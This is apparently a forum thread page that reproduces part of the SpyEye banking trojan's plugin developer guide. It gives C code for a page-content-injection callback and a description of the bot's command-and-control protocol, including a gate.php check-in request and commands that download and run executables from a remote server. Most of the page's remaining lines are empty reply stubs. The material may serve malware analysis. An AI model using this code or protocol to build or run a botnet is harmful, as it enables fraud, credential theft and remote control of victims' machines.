DLLEXPORT void Callback_OnBeforeLoadPage3(IN PCHAR szUrl, IN PCHAR szVerb, IN PCHAR szHeaders, IN PCHAR szPostVars, OUT PCHAR * lpszContent, OUT PDWORD lpdwSize)
{
        DebugWrite("[DEBUG] : szUrl == { %s }", szUrl);
 
        *lpszContent = (PCHAR)malloc(sizeof(data));
        if (!*lpszContent) {
                DebugWrite("[ERROR] : Achtung! : *lpszContent == NULL");
                return;
        }
        CopyMemory(*lpszContent, data, sizeof(data));
        *lpdwSize = sizeof(data);
}
 
DLLEXPORT void FreeMem(LPVOID lpMem)
{
        free(lpMem);
}
Strictly speaking, if to any picture to add in a URL string, "CallbackOnBeforeLoadPage3", the plugin returns the content of the fake. Example:

Original image:



Fake image, that is returned by the plugin:



FAQ : Why do I need a customtsonnector plugin?

Starting with v1.3, SpyEye uses a separate plugin for communicating with the main control panel.

At the moment, is used the following protocol for communication with the admin. The bot, over an interval, sends such info to the gate:

> gate.php?guid=!USER-5C377A2CCF!046502F4&ver=10207&stat=ONLINE&ie=6.0.2900.2180&os=5.1.2600&ut=Admin&ccrc=13A7F1B3&md5=b9c3cb2cdc66b1f4465fe56cc34040b2&plg=customconnector

This is a HTTP-GET request, which can be segmented into the following variables:

guid
ver
ccrc
md5
plg
stat
ie
os
ut
The first five variables are mandatory. The admin panel, analyzing their meaning, can issue the following commands:

Update the main bot executable
Update the bot config
Start/Stop for a bot plugin
To find the values for each of them, the plugin uses the appropriate API:

TakeBotGuid
TakeBotVersion
TakeConfigCrc32Callback
TakeBotExeMd5Callback
TakePluginsListCallback
Other variables (stat, ie, os, ut) don't require to receive infos from the bot (not mandatory), and therefore are generated by the plugin.

Schematically, the plugin looks like this:


Protocol to receive commands from SpyEye - text. That is, to gate.php is sent a HTTP-GET request, and, if the bot needs to perform some action, then the customconnector.dll causes MainCpGateOutput. Below are the command types transmitted by MainCpGateOutput for a particular command

Update bot config
UPDATE_CONFIG<br>PATH=http://www.myserver.cn/config.bin
Update bot executable
UPDATE<br>PATH=http://www.myserver.cn/bot.exe
Manage plugins
PLUGIN<br>customconnector;0<br>socks5;1<br>
Load third-party exe
LOAD<br>http://www.myserver.cn/smth.exe<br>tid=1
If SpyEye wants to send info to the main admin panel. For example, the status of a job, that was executed by the bot, then he calls MainCpGateInput. Variables format is the same as in the case of HTTP-GET request.

So, summing up. The customconnector plugin is the mediator between the bot and the main admin panel. This allows, for example, to use some sort of encryption, between the bot and the main admin panel (of course, it will require some modifications on the server side). Also, you can emulate the command from the admin panel, driving SpyEye. And in general - you can refuse from gate.php and use some sort of a server to control the botnet. You can also implement a decentralized botnet based on this plugin.

In general, this plugin extends the capabilities of custom connection with the admin panel for developers
Ruining the bad guy's day

August 30, 2011, 04:02:10 pm
Reply #4

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

August 31, 2011, 07:36:39 pm
Reply #5

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

September 17, 2011, 04:25:44 pm
Reply #6

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

September 17, 2011, 04:27:06 pm
Reply #7

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

September 18, 2011, 08:33:21 am
Reply #8

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

October 19, 2011, 06:15:42 pm
Reply #9

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

November 28, 2011, 07:20:34 am
Reply #10

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day

December 15, 2011, 07:47:54 pm
Reply #11

SysAdMini

  • Administrator
  • Hero Member

  • Offline
  • *****

  • 3335
Ruining the bad guy's day